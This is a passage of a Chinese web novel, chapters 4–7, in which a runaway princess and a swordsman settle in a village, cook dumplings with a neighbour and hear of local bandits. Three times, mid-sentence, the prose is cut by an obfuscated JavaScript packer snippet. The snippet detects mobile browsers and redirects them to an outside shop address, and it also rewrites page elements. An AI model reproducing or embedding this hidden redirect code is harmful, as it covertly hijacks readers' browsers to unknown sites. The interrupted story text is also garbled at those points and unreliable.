音调特意在‘报酬’二字咬紧几分。 怀音不应声,只笑了笑。 脑中闪过一丝不祥的预感,朏朏涨红了脸,咬牙道:“你该不会是——?” 想赖账吧? 回想方才相处,朏朏便觉他信誉极差,根本没有青玉姑姑口中所说的寡言靠谱,反倒油嘴滑舌、一派混不吝的无赖模样。 “当然不会。” 怀音唇角噙笑,眉目间流露出几分温润多情,声音清朗:“来信说只需送上船即可,不若……你我同在此待到来年开春、江水破冰之时,为表诚意,到时候我亲自送去你去楚地,如何?” 指尖轻敲桌面,怀音盯着朏朏看了会儿:“当然,银钱照旧,无需你多出。” 朏朏抹着眼泪,委屈巴巴道:“你又打不过李断微……” 万一李断微找到她,要将她带回去献给父君领赏,那可怎么办?她可是手无缚鸡之力的弱女子,又怎么能从鼎鼎有名又天下第一的李断微手中逃脱…… 风声肆虐,吹得她一头乌黑长发荡散在秋风中,有几缕扫过含水的湿濡双眼。 怀音走至她面前,伸手拨开她有些凌乱了的额发,伏在她耳边说:“放心好了小公主,我在江湖上也算是略有薄名,并不惧那李断微,在此期间,我会负责保护你的安危。” 他整理的动作很快,话说得亦是很快。 就好像只是顺手的事情。 说完后,怀音便礼貌退至几步外,等着她答复。 落叶寂寂而坠,窸窸窣窣。 朏朏垂着眼,视线在他手上打转。 他生了双好看的手,修长如竹,像极了那些为父君攥册写书的门客,但虎口处却生有长久习武而造成的粗茧。 朏朏抿了抿唇,心绪空空。 平心而论,很诱人的条件。 有人能在乘船途中一直保护她。 可怀音他…… 真的能相信吗? 忽想起方才少年倾身时带来的淡淡皂角香,朏朏想。 似乎也没有别的选择了。 她其实没有特别想去的地方。 之所以将终点定于楚地,只因幼时听青玉姑姑说过她在楚地的韵事。 春岸又绿时,一夜风欺竹。 云泽柔美,梦泽磅礴,皆是梁国内不可多见的风景。 朏朏仰着脸,眼睫眨了眨,语调轻而软:“怀音,我可以相信你吗?” 少女梨涡浅淡,里头仿佛盛满醉人的桃花酿,很是漂亮。 二人四目相对。 相互凝视片刻,怀音错开眼,低声笑了笑:“自然是可以的,我很有职业操守。” 朏朏闭了闭眼,决定放弃挣扎。 她垂着脑袋,从毛驴背上取来半个包裹,递给他:“那这段时间就麻烦你了……” 接过包袱,怀音顺手掂掂。 还挺有分量的。 他想。 随意掠了眼早已凉透的馄饨,怀音往那处示意般扬了扬下巴:“馄饨还吃不吃了?” 朏朏别过脑袋,发间绢花玉蕊一甩一甩的:“不吃了。” 她哪还有这个胃口。 方才气都要气饱了。 “行,那你别后悔。” 怀音无所谓地耸肩:“我不会大半夜起来帮你准备吃的。” 朏朏斥声反驳:“我像是那种人吗?!” 她就算饿死在这,也绝不会半夜起来麻烦怀音的。再说了,大半夜叫人起床为她准备夜宵什么的,也太失礼了! 怀音笑着看她:“怎么不叫怀音哥了?” 收拾包袱的动作一顿,朏朏扁扁嘴,没理他的话。 她小半张脸都埋在毛绒软的围脖里,只露出一双使劲瞪他的眼睛,映衬柔和日光,蕴出层层亮色。 怀音心情颇好:“这就生气了啊?” 这人竟还有脸问……? 真是岂有此理! 朏朏率先迈开步子,牵着毛驴,以一种大无畏的姿势向前猛冲,却没成想后领被人一把攥住,硬生生止住步伐。 不想同他多说一句话,她如只被扼住喉咙、使劲往前扑腾的鹅,试图挣开后领处的手。 直至浑身冒出一层汗,朏朏累得手脚发酸,这才扭头怒视他:“干什么!” 怀音优哉游哉看她:“你要去哪?” “去找这几个月住的客栈啊。” 朏朏反问:“不然我睡哪呢?” 总不能两个人到外头同流浪汉似的睡桥洞吧? 这样想想,那也太惨了。 朏朏嘀咕几句:“不知道钱够不够……” 只是住客栈的话,要花好多银钱,也不知道她包里的金玉够不够怀音去换钱。她花不出去,这些掮客手段那么多,肯定能花得出去。 “我在村里租了个宅子。” 怀音松开手:“去那住。” 听到怀音的话,朏朏脸上紧绷的表情总算缓和下来。 好好好,不用花她的钱了。 “事后记得付我一半租金,拢共二十两银子,给你打个折,付九两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024648|194336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五钱就行。” 朏朏:“……” 服了,这折扣跟没打有什么区别? 她深吸一口气,没关系,钱迟早都要花出去的,这样明码标价事先说好,也好过到时候离开时坐地起价。 她颇为珍惜地拍了拍小包裹,矜持颔首:“那你带路。” 随手将包裹往后一背,怀音语调懒洋洋的:“怎么不叫怀音哥了?” “我想怎么叫……” 可转念一想,她上船前的吃喝住行都得仰仗面前这人…… 朏朏磨磨后牙,不情不愿叫了一句:“……怀音哥。” 怀音看她一眼:“气性还挺大。” 朏朏瞪圆眼:“你话怎么这么多!” …… 直至一座瞧着颇有野趣的小院出现在眼前,朏朏这才停下一路的碎碎念。 一个四面用人高竹篱笆合围着的小院,就是看着光秃秃的,除却青瓦白墙外,就没别的颜色了。 利落甩下身后一人一驴,朏朏推开院门,如一阵风似的,欢快跑到里头。 跑到水井处,嗅着井水里的甘甜气息,试图推推绞盘上的手柄。 推动未果,朏朏放弃了。 以她的力气,估计也就只能摇一小桶的水上来。 端详萧朏闹腾的模样,怀音闭了闭眼,寻思着自己是不是带了个麻烦回来…… 盯着檐下一家三口的燕子窝,朏朏摩挲下巴,冥思苦想片刻,忽而眼前一亮。 “这里可以吃完饭后晒太阳。” 她朝怀音比划了一下大概的位置,“搬两张竹椅,铺上软垫,软垫最好是用刚晒好的棉花缝的,这样子躺着晒太阳最舒服。” 怀音敷衍点头:“嗯嗯嗯,好好好。” 吹掉台阶上的灰尘,朏朏捋平股下裙子坐好,手指着院中几块空地:“青玉姑姑说,空地可以圈着养小鸡小鸭,然后我在边边上再开一块菜地,种点白菜胡萝卜给阿呆吃。” 宛若附和般,毛驴长长叫了声,似乎非常满意她的说法。 像是想起什么,朏朏拿起一根枯树枝,这里比比那里划划:“要是这里能架个葡萄藤木架子就好了,元良哥哥在宫里头架了个牵牛花架,韩先生说什么‘青裙竹笥何所嗟,插髻烨烨牵牛花’,还夸他很有高雅之风。” “但是慧真姐姐嫌弃它只长花不结果,葡萄架就很不错,这样夏天晚上乘凉观星时还能吃上葡萄。” “还有还有,这里也要种点花,虽然不结果,但花还是很养眼……” 见她愈发沉浸于幻想,怀音沉吟片刻,道:“你只在这里住到开春。” 忽地,朏朏停下动作。 嘴巴微不可察顿了顿,止住话头,“喔……” 她轻声喃喃,道:“不好意思啊怀音哥,给你添麻烦了……” 少女眼睫颤动,猫儿似的眸水光盈盈的,嫣红的唇也轻启着。 一幅伤心难过的意态,叫人心头一紧。 甚至让怀音都不禁开始怀疑自己方才的话是否说得太过,惹得小女娘伤心了。 正欲说些什么安慰她的话,他便耳尖听见她小声叨叨:“切,我自己偷偷搞,种出的菜我自己吃,种出的花我自己插,才不要给你呢,你就等着饿死吧——!” 怀音:“……” 后面的他没特意去听了,只是瞧着表情,似乎骂得有点脏。 “在嘀嘀咕咕些什么东西?” 朏朏在背地里悄悄翻了个白眼:“别管,反正不是你能听的小话。” 除此以外,她还得快些摸清楚济光村里的人。到时候要是饿肚子了,去讨口饭吃也不至于很艰难。 想到这,朏朏小声嘿嘿嘿地笑着,径自沉浸在自己美好的幻想中。 看着朏朏,怀音沉默几息。 他是否要去请个师傅过来做法?还是说请个大夫,看看这小公主是不是有些许毛病…… 5. 第 5 章 说干就干。 朏朏花了点时间,顺利把济光村上下都给摸透了。 整条村子也就是二三十口人,大多是老人同小孩,出入采买也还算方便,翻过一座山便是镇子,再往前走段路程就是州城了。 桂花婶说,现在深秋萧条了些,若是春夏时才是仙境。 春来之际,山上流苏树开满一簇一簇的花,绿叶白花四月雪,流苏细玉挂枝头。夏至嫩草如烟,庭院榴花照眼,娇艳似茜草染过的红裙。 那天卖她馄饨的老妪叫田桂花,村里人都叫她桂花婶,就住在他们不远处的地方。 桂花婶年轻时当过几年村里的私塾先生,讲话生动好听,只寥寥几句便给朏朏勾得心痒痒的。虽然没亲眼见过,但光提听桂花婶这么一描述,她也变得心生向往了起来。 也不知道怀音是怎么找到这处风景秀丽、宛若桃源的地方。 如果能长住的话…… 收好院里晾晒的腊肉,朏朏擦擦额上的汗,回头看了眼大黄。 大黄伏在地上,一对圆溜溜的眼睛溢出点点泪花,正呜呜叫唤着装可怜。 它嘴里还咬着半条未晒干的腊肉,头发花白的妇人叉着腰,正骂骂咧咧翻着晒干的豆橛子准备抽它屁股。 今日怀音要外出,她一个人在家呆着也无聊,索性便来桂花婶家串串门,顺道瞧瞧有什么好玩的。没想到一进门,就看到幅“桂花婶怒挥豆橛条,大黄犬佯啼装可怜”的场景。 看够了热闹,朏朏打算替大黄去同桂花婶求求情:“桂花婶婶,大黄还……” 只是…… 看着地上膘肥体壮的大黄,怎么都说不出大黄还小的话来。 ……一看就知道平时没少偷吃。 朏朏煞有其事地点头:“……还是该打的,给它点教训,看它以后还敢不敢偷吃,桂花婶你等一下哦,我来帮你抓住它!” 说罢便放下下手里的竹筐,提起裙摆,追着大黄跑。 闻声,地上的大黄瞪大眼,立刻跳起来,逃命似地绕着院子跑,惊得鸡圈里的芦花鸡扑腾翅膀,白羽黄毛乱飞。 一人一狗跑了半天。 直至最后同时气喘吁吁停住,一个坐在摇椅喘着粗气,一个躺在地上吐舌头。 田桂花早已被她两逗得笑弯了腰,扔开豆橛条,朝她招了招手:“算了算了,霏霏你莫要追咯,等下把腿跑抽筋了。” 朏朏扁了扁嘴,小声嘀咕:“我是叫朏朏啦桂花婶,不是叫霏霏,这两个字的音调都不一样……” 桂花婶耳背的情况还真是不容忽视啊。 田桂花喊她:“过来帮我摘点菠菜霏霏,给你做菠菜鸡蛋饺子吃,再炒个肉菜,今日是立冬,吃点好的暖暖身子。” 朏朏喘两口气,笑盈盈的,大声回道:“来啦来啦,霏霏来咯。” 不过老人家想怎么叫就怎么叫吧,只要她开心就好。 田桂花麻利往灶上大锅倒水,朏朏则是往灶台里塞入怀音早已劈好了的木柴。 很快,灶里的木柴燃起火,时不时弹出几声噼里啪啦的爆鸣。 田桂花在倒水和面,她就在一边拌匀饺子馅料。 面糊糊在揉捏下,逐渐成光洁的面团。 瞧着好玩,朏朏试图拿手指去戳戳面团,却被田桂花拍掉手,点点她的鼻子:“猴儿似的,戳了你今天就没得饺子吃咯。” 朏朏拿手背擦掉面粉,苦了脸:“好嘛,那我不玩了。” 田桂花笑骂:“分你一小团,自个玩去。” 朏朏眉眼弯弯:“就知道桂花婶最好啦,明天我还来帮你晒棉花晒腊肉!” 小而温馨的院子里,时不时飘出一老一少说笑的声音。 正欲敲门的手一顿,怀音站在门前不动。 一片落叶飘下,他抬起头,凝视着那枚落叶悠悠落地。 曾几何时,曾经也经历过相似的场景,只是如今却空空朦朦、缥缈虚幻,仿佛根本不存在,又好像处处皆是。 “我就说他肯定到啦。” 一道俏丽的女音落入耳中。 门扉打开时扬起细微的风,拂面而过,像是涌动的春风,驱散空濛的幻梦迷雾。 开门的劲过大,朏朏险些立不住地往前扑,将将扶住门框才稳住身形。 她笑盈盈回头,对着田桂花使眼色:“你就说我的话对不对吧桂花婶,怀音哥肯定是在饭点的时候来接我,有我们两个陪你一起吃饭,肯定热闹。” 闻言,怀音心中五味杂陈,揉了揉太阳穴。 田桂花掸掸手上面粉,笑道:“是是是,你是天庭上的小神仙,能未卜先知。” “你要夸我小神仙的话,那我也不客气应下了。” 朏朏笑笑,扭头看向怀音:“就算是蹭着饭点到,那也是要干活的。” 她撵着人往后厨走,刚开始时还推不动,还是在怀音有意放水下,才把人赶到后厨。 折腾半晌,额上渗出细密汗珠,朏朏洗手后往灶台走,心里却嘀咕。 这人是做什么谋生的,下盘练得这般稳当,怎地推不动。 但很快,这些想法全都抛之脑后。 见田桂花开始上手包饺子,朏朏兴致勃勃拿起一块饺子皮:“我也来!” 只是左捏右掐,饺子不是这处的皮缺个口,就是那的馅料漏个洞,急得她小脸涨红。 趁着桂花婶没留意她这边的窘状,朏朏忙取过另一张饺子皮填上那个洞。 没关系,她是新手,能包好就不错了,不能要求这么多。再说了,在场的也不止她一个新手,这不是还有怀音呢。 这般想着,朏朏扭头看向怀音,试图在他身上寻求安慰。 但…… 令她大失所望的是,怀音包得又快又好,那饺子的掐边都能捏出朵花来。 甚至每个饺子的花边还各不一样! 看着手里比三岁稚童拳头还要大一些的饺子,朏朏有些挫败。 失策失策,怀音竟然连包饺子都会。 还有他不会的东西吗? 朏朏蹑手蹑脚走过去,试图偷师。 谁知这人背后似长眼睛了一样,她还没动呢,就知晓她想做什么。 怀音淡声道:“做什么?” “嘿嘿嘿。” 朏朏悄悄举起手,“没做什么呀,就是来看看你嘛。” 怀音连头都没回:“敢往我身上蹭面粉的话,你就完了。” 眼看企图没得逞,朏朏无奈收手,小小声询问:“好吧,我就是来看看你怎么包饺子的。” 怪她方才还跟桂花婶大言不惭,说自己会包。 现在倒好,打肿脸充胖子。 怀音没说话,手上动作却是慢了些。 朏朏瞪大眼睛,仔细看了会儿。 片刻后…… 眼瞧着又是一个露馅饺子新鲜出炉,朏朏嘴角抽抽,彻底放弃了。 眼睛信心满满跟她说自己会了。 但脑子跟手尖叫着说不会啊啊啊啊。 她愣神之际,那厢的怀音都已把一盘馅儿给包好。 见田桂花准备端起簸箕去下饺子,朏朏忙藏起自己包的饺子,匆匆道:“桂花婶婶,饺子就交给我来下吧!” 趁着没人看见,把她的拳头饺子也下了。 田桂花道:“也成,你注意些,水滚了,别烫到自己。” 就着点剩下的馅儿油,她切了一小点腊肉,炒了个腊肉菜心。 饺子很快便煮熟,朏朏还没准备动手,田桂花便说水烫,接替了她拿起漏勺,给每个人都舀了满满一碗,端去里屋。 徒留她一个人在原地懊恼,方才怎么不快些下手把自己的拳头饺子捞起。 现在好了,都不知道那饺子溜去哪个人的碗里头。 屋里暖融融的,袅袅白雾飘散四处。 大黄趴在地上,一口一口啃着饺子同肉骨头,嗦出稀拉声响。 田桂花很是高兴:“立冬不端饺子碗,冻掉耳朵没人管,你们可要多吃点,剩下的那些也带回家去,煮汤饺或者用油煎也是很好吃的。” 朏朏甜甜一笑,欢快道:“好!谢谢桂花婶啦,你家还缺不缺孙女啊,能不能算我一个。” “哈哈哈哈哈,恁地客气,能常来看我这个老婆子就好。” …… 叽叽喳喳的声音不绝于耳,怀音安静吃了口饺子。 饺子皮外软内硬,两层皮之间还有干涩的面粉,有股半生不熟的口感。 他一瞬皱眉后舒展,面不改色咽了下去。 舀了勺汤尝味道,朏朏接过话头:“桂花婶婶这话可真像我姑姑,我姑姑也这么说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024649|194336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过,说我以后要是嫁出去了,也要回家经常看看她,明明我都不想嫁人来着……” 田桂花闻言笑起来,又从碗里挑了几块最大的腊肉给她。 暖乎乎、带着咸鲜味的饺子落进肚子,浑身的疲惫都似一扫而光。 嚼着饺子,朏朏边同田桂花聊着天,边想着那个饺子的去向。 ……就是不知道那拳头饺子花落谁家了,只希望吃中的那个人不要笑她。 嗯,最好身体也要健康些,耐造。虽然馅儿是熟的,但饺子皮那么厚,半生不熟的,说不准吃完后会闹肚子。 “对了,最近你们去镇子里要小心些。” 朏朏回神,放下筷子,轻轻“嗯?”了声。 田桂花嘱咐:“私塾的老陆头说,远桐寨那群响马子最近猖狂得很,前几天他去出诊,就瞧见他们光天化日之下,竟然直接拦路抢劫,抢了过往商队的一车东西,你们这几日无事就不要进城了,家里菜不够吃就来找婆子我,我后院里头还剩些,够你们吃个几天的。” 朏朏放下筷子,好奇问:“这里竟然有山匪?州府的人都不管吗?” 她来时其实没遇上山匪,兴许擦肩而过也说不定。但山匪竟然发展到有寨子的程度,这状况怕是有些严重了。 田桂花:“你才来,大概不清楚这里的地界,济光镇附近的几个村子就在东兰国的分界线上,州府老爷们当是烫手山芋,懒得管,那群山匪也不去抢远的城镇,就下山在这临近的几个村落抢,今年冷得快,他们没米没粮了,也不知后头会怎么样……” 朏朏满脸惊讶,一时连眼睛都忘了眨。 当蹴鞠般踢来踢去,这州府里的官员,还真是光吃饭不干活的一群蛀虫。 夹了一只饺子送入口,朏朏有些好奇。 东兰国? 好耳熟的名字,似乎在哪里听过。 …… 朏朏同怀音并肩走在回去的路上。 她揣着没吃完的饺子,心事重重。 没想到除了李断微这个潜在的威胁外,外头竟还有明晃晃的山匪。 朏朏问:“怀音,你知道那个山匪寨子吗?” 方才饭桌上,这人只安静吃着饺子,不言不语,完全没参与到她同桂花婶的话题里。 “略知一二。” 怀音看她,反问:“怎么,你怕?” 朏朏点头,一双黛眉皱起褶来:“谁会不怕穷凶极恶的山匪,但我更担心桂花婶他们的安危。” 怀音:“你不是有求必应的小神仙呢,现在降下赋福,不就能守护一方水土了。” 瞪他一眼,朏朏没好气道:“不要同我开玩笑啦,我是认真的。” 村里都是老弱妇孺,万一山匪们恼羞成怒伤及大家性命的话…… 虽然相处时间不算很长,但村里的长辈们都很不错,平日里待她亦是很好,她是真心希望他们能长命百岁、平平安安的。 怀音道:“济光镇同远桐寨离得远。” 言下之意,就是比其他几个村子安全些。 一阵风过,朏朏搂紧怀里的饺子,叹了口气:“只是这样的话,也不一定能保证安全啊。” 怀音没说话,两个人之间的气氛慢慢冷了下来。 他话少,话多的时候光顾着气她了,朏朏也没在意他是否出声。 过了一会儿,身侧的少年又道:“以后你别包饺子了。” 从思绪中回神,朏朏不明所以:“啊?” 顿了顿,她反应过来,问:“所以……我包的饺子,给你吃到了?” 怀音望了她一眼。 脸上没什么表情,但眼神透出肯定的意思,甚至还有一丝极淡的幽怨。 朏朏心虚地摸摸鼻尖,心里头小声嘀咕:幸好不是桂花婶吃了。 她语带歉意:“对不起啊怀音,十分抱歉,都怪我学艺不精,你有哪里不舒服的吗?要不要我去找李澜爷爷抓点药?” 李澜是村里的大夫,平日济光村里有谁有个头晕身热的,都去找他看病。 怀音:“……不用,我没事。” 犹豫片刻,他最后还是没把那句“以后你别进后厨,怕弄出人命”的话说出口。 若是说出来的话,似乎有些伤人。 毕竟这位小公主像尊漂亮的琉璃像,一碰就碎。 6. 第 6 章 记挂着今日要做的事情,第一声鸡鸣响起,朏朏便爬起床。 早间空气清甜湿润,有夜露凝结于枝叶之上。天虽还早,但村里各家各户都升起袅袅炊烟。 “吱呀”一声轻响,篱笆门从里往外推开,朏朏轻手轻脚往外走,止不住捂嘴打着哈欠。 真的太困了,昨夜想了一晚该如何同怀音道歉的事情,最后迷迷糊糊被鸡叫醒,现在都没还没睡饱呢。 虽然怀音回来时什么都没说,但那晚透过薄窗帘,她能看见对面厢房亮了一夜的灯。 思及此,朏朏抿了抿嘴唇,顿感羞愧。 不过她只是不会包饺子而已,其他的还是会的,比如说一些小点心之类的。 从集市回来的路上,朏朏咬着块甜米糕,望向怀中一堆花花绿绿的小玩意,嘴角翘了起来。 新针线包是给桂花婶的,量药小秤是给李澜大夫的,那块笔墨是私塾里的陆先生托她帮忙买的,这两朵绢花同几块笔墨,分别是送给她新朋友叶莺叶挚这两姐弟的。 朏朏仔仔细细把绢花擦干净。 粹亮日光下,绢花花瓣迎风舒展身姿。 说来,她认识这对姐弟还挺有缘分的,先前帮李澜给村中送药时,路上遇见一位晕倒在水渠里的小少年,她吓得药都没送,连忙唤来人一起抬着小少年去找村口大夫,所幸发现及时,少年并无大碍。 这一来二去,也就认识了住在济光村边缘的一对姐弟,叶莺叶挚。叶莺是做糕点一把好手,做出的点心色香味俱全、香甜软糯。 她现在吃的甜米糕,就是那日送叶挚归家时,叶莺见她馋了,送她垫肚子的点心。 咀嚼着口中的甜米糕,朏朏不由得想。 难怪她前几次在济光村闲逛时遇不到叶莺叶挚呢,一个天不亮就去市集做小买卖,一个只有月底学堂放月假时才归家。 想到这,朏朏咽下最后一块米糕,拍掉手上糕点屑。 可惜那天怀音不在,不然她定让他也尝尝这块米糕的滋味。想给怀音做些点心赔罪,有叶莺指点她做的话,肯定能事半功倍。 这般想着,朏朏飞速给别人送完东西,很快便来到叶莺的家。 是个小房子,迎面是几棵探出墙的桂花树。 她在门边探头往里瞧。 院里种了几亩整整齐齐的菜地,此刻晨光融融泄泄,照亮菜叶上的露珠。 朏朏敲了敲门:“莺姐姐!我来啦!” 等了会儿,便有一身穿布裙的清秀女子掀开遮门帘子走出。 叶莺腼腆笑笑:“朏朏,你来了。” 朏朏眨巴眨巴眼,甜甜道:“莺姐姐晨安~真是不好意思,我这么早就拿这点事来麻烦你,你今天没出摊,会不会……” 叶莺摇头打断她:“没关系,你前些天不是来帮我吆喝生意了吗,那天赚得都抵得上我出摊三天的银钱了。” 朏朏笑起来。 莺姐姐做买卖过于实诚了,只在角落里摆了个摊子,安安静静的,只有人来时才会说上几句话。 叶莺抚平她鬓边散乱的发:“来这么早,困不困?” “不困不困,要是睡过头就误事啦。” 朏朏把绢花同笔墨往叶莺怀里推:“赶早去给爷爷奶奶们带东西,看到这个,感觉很适合你同挚弟弟,就一起买了。” 见她表情略有推托之意,朏朏忙道:“不收下这点束脩的话,我还怎么光明正大地偷你的师啊。” 闻言,叶莺倒是笑了:“这点手艺大家都会,哪需要什么束脩。” 朏朏挽住她的臂弯卖乖:“我就要学你的嘛,别人都没你好。莺姐姐的手艺天下第一好,你送我的那个米糕吃起来又甜又软,热热乎乎的,照我看啊,王宫里专门给国君做点心的厨子都比不上你咧,这天底下怎么会有莺姐姐这么厉害的人呢,真的好喜欢你哦!” 说起这些哄人甜话时,她小嘴叭叭,信手拈来,都不带停顿的,末了,还用一双清亮亮水灵灵的眼睛,直勾勾望着叶莺,看得她都有些不好意思,连带着脑子都变得飘飘然起来,似乎她就如她话中那样厉害。 闲聊间,二人一同步入后厨。 叶莺问:“你想做些什么点心?” 朏朏小小声:“有没有做法简单些的,做出来的成品很漂亮,并且还能送人的那种?” 思虑片刻,叶莺说:“有的,山药枣泥糕如何?用模具压一下,形状就很漂亮了。” 朏朏立马小鸡啄米点头:“好好好,那就这个了。” 家中存粮似乎也有山药同红枣,应该够她回去多尝试几次,问题不大。 至于怀音…… 她好像没有听他说过喜欢甜口还是咸口来着,那就多做几种口味的吧。 笼罩烟囱的薄烟渐渐散了。 眼看学得差不多了,朏朏也就同叶莺告别,准备回家大展身手。 案板上,山药红枣等材料一字排开,叶莺甚至还给了她许多花朵动物之类的糕点模具。 朏朏摩挲下巴,目光幽深。 只是…… 莺姐姐说的适量,到底是个什么量? * 日光中,怀音低头走在山道上。他提着食盒,脚步略快常人半分,可声音却是比风还轻。 风一吹,枯叶飞扬,河面拂开一片粼粼波光。 忽的,他停住脚步,抬眸:“出来。” 只刹那,自他身后茂密枝叶中,钻出四道玄衣人影,或立于树下,或半蹲在树上,又或是离怀音仅有几步之遥。 但四人皆是神情严肃,脊背绷紧,如蓄势待发的狼。 其中为首的汉子冷冷看他,握刀的手爆出狰狞青筋,“便是你这小子接了那道赏令?” 怀音:“你们一起上,还是?” “少看不起人了!”为首的汉子被激怒,运了运真气,大喊着跳下树往前冲。 银光一闪,枝叶飘摇,原本还站着的人已是往后栽倒入水。 人倒下,剑入鞘,怀音脚步未停,漆黑瞳仁覆盖一层薄薄泠光,甚至连半分余光都未分这个人一眼。 余下三人大惊失色,虽知晓少年在江湖上略有薄名,但他们就想着来碰碰运气,万一少年只是浪得虚名、徒有其表呢?如此想着,便试图抢一抢那道赏令。 可几息间,那青衫的少年便杀了为首的主事者——白骨鬼刀,要知道,白骨鬼刀可是排行榜上数一数二的高手。这份实力,也足够震慑了他们这帮乌合之众了。 怀音冷冷道:“她是我的。” 一人赔笑道:“是是是。” 怀音:“除我之外,没人能接那道赏令。” 那人立马拉着身旁的人一起:“是是是……” 虽不知这位心思,但他们兄弟几个没必要为一点金锞子而葬送性命,财物易得,可命却只有一条,说不准下次还会有金额更大的赏令出现。 另外一人又道:“只要怀大侠肯饶过我们几人狗命,我们立马滚得远远的。” 怀音道:“滚。” 这个字说出来,余下三人当真就如蹴鞠般,立即团成个圆润的球滚出去。 * 骤然响起敲门声,朏朏心中一紧,忙匆匆合住锅盖,跑出去。 见是怀音回来,她忙问道:“你怎么回来了?” 这话听着像不希望他回来似的。 朏朏立马改口:“不是不是,我的意思是说,你怎么这么早就回来了?” 怎么听起来更奇怪了。 怀音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024650|194336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬眸:“怎么了?” 朏朏摸摸鼻尖:“那什么,我还以为你到晚饭时才会回来呢。” 提了提怀中食盒,怀音道:“我怕你一个人饿死在家。” 早间晨光中,少年衣袂携风,徐徐而至,一袭长袍是沾染了春意的青翠,疏风朗月。 狭长的桃花眼装着她的身影,对她说话时语气清淡又自然,就好似关怀幼妹的兄长。 朏朏眨巴几下眼:“原来是这样啊……” 难道是她为了省事,去别人家蹭午饭,蹭不到就不吃的事情被发现了? 朏朏忙跑去接过食盒:“谢谢你哦,怀音。” 只是接过时,似是不经意间触碰到他的手。 怀音略略垂眸。 细细的腕,白腻纤长的手指,指甲像三月春桃,泛着新粉色,右手食指间还有一粒浅浅的小痣。 很隐秘,唯有靠近相触时才能注意到。 不过片刻,那抹新粉便远离了。 怀音收回目光,神情淡然。 见他有往厨房处走的倾向,朏朏忙跑回去,扶住门框,整个身子挡住进厨房的路:“诶!等一下!” 怀音垂眸看她。 厨房的木门原是上过新漆,可被她莹润细腻如花瓣的手指这么一衬,倒显得粗糙了。 他无奈问道:“又怎么了?” 朏朏干巴巴笑了几声,心有戚戚,眼神游移:“那什么……” 她低头盯着裙摆边沿露出的鞋尖尖,许久,才憋出一句:“怀音,你、你觉得……我怎么样?” 说完,朏朏自己就先咬咬牙。 这话题找得太没有水平了。 怀音略略挑眉:“什么怎么样?” 朏朏殷切看他:“就是想问问嘛。” 只是都这么问,也只能硬着头皮问下去。 暗忖一番,她垂眸,继续说下去:“你觉得我这个人怎么样。” 怀音双手环胸,淡然开口:“怎么突然想问这个。” 复而抬眼,朏朏站直身子:“就问问嘛,又不会少你一块肉。” 怀音不多思索,直接道:“食不厌脍,脍不厌细,衣食住行都要求颇高、事很多的一位娇贵小公主。” 见她听完后神色闷闷,他心中无奈。 问了答案又不愿意听,听了又不高兴,不如不问。 怀音再次出声:“你再不吃的话,食盒里的饭就凉了。” “……嗯。” 朏朏随口应下。 不过她倒没有因为他这句话就生出什么别的心情,毕竟她就是这样的人。 元良哥哥教过她,民以食为天。 要是再吃不好,她真的会难受死。 “我去拿些碗筷来。” 愣神间,怀音侧身走过她身旁,朏朏都还没来得及阻止,他已然掀开门帘—— 第一眼便是乱。 很乱。 第二眼是心情复杂。 随处可见的不知名白色粉末沾满灶台,他摆放整齐的锅碗瓢盆极为凌乱,不复原位。地上散乱着大滩的水渍与碎瓷片,一口锅里煮着不知是什么东西碾碎的糊糊,咕噜咕噜冒着泡,还有股难以形容的味道,另一口锅里头已经烧干巴了。 怀音深吸一口气,点名道姓:“萧朏,给我进来。” 知晓自己做了坏事,朏朏从外面慢慢挪进来,抬眸,见少年面色漠然似冰雪,冷冷睨着她。 他有轻微的强迫症,还爱干净,这点她很是清楚。 瞒是瞒不过去了,朏朏低头认错,语气沮丧:“对不起怀音,我不是故意把你后厨里的东西都弄脏了的,我是看你那天吃了我做的饺子,难受到一夜没睡,就想着,做些什么来补偿你……对不起!” 7. 第 7 章 昏暗光影中,少女一双水润猫儿眼雾蒙蒙的,望向他时,目光惶惶不安,眸中氤氲水汽,带着明晃晃的怯意,神色无助又无辜,嘴巴扁扁的,像是要掉眼泪的模样。 依他从前的性子,最是烦躁这种姿态做派,定然是懒得多言,直接把人轰走。 只是…… 眼角余光触及浅色瓷碟中大小不一、看起来略显磕碜的点心,怀音看她一会,没说什么,只道:“算了,没什么大不了的,脏了就洗干净,乱了就整理好放回原位,你离远些。” 言罢,便挽起袖子,上手打扫。 朏朏站在一旁,眼巴巴看着,不知道该做些什么。 他先是把灶膛里的火熄灭,又往锅里舀了瓢水,软化那些粘底的焦黑锅巴,等待锅巴软化的同时,又接着收拾散乱在地的锅碗瓢盆同食材,放回原位。 做事精细又麻利,有条不紊,一看就知道是经常干活的人。很快,厨房又恢复成她早晨进来时的干净整洁模样。 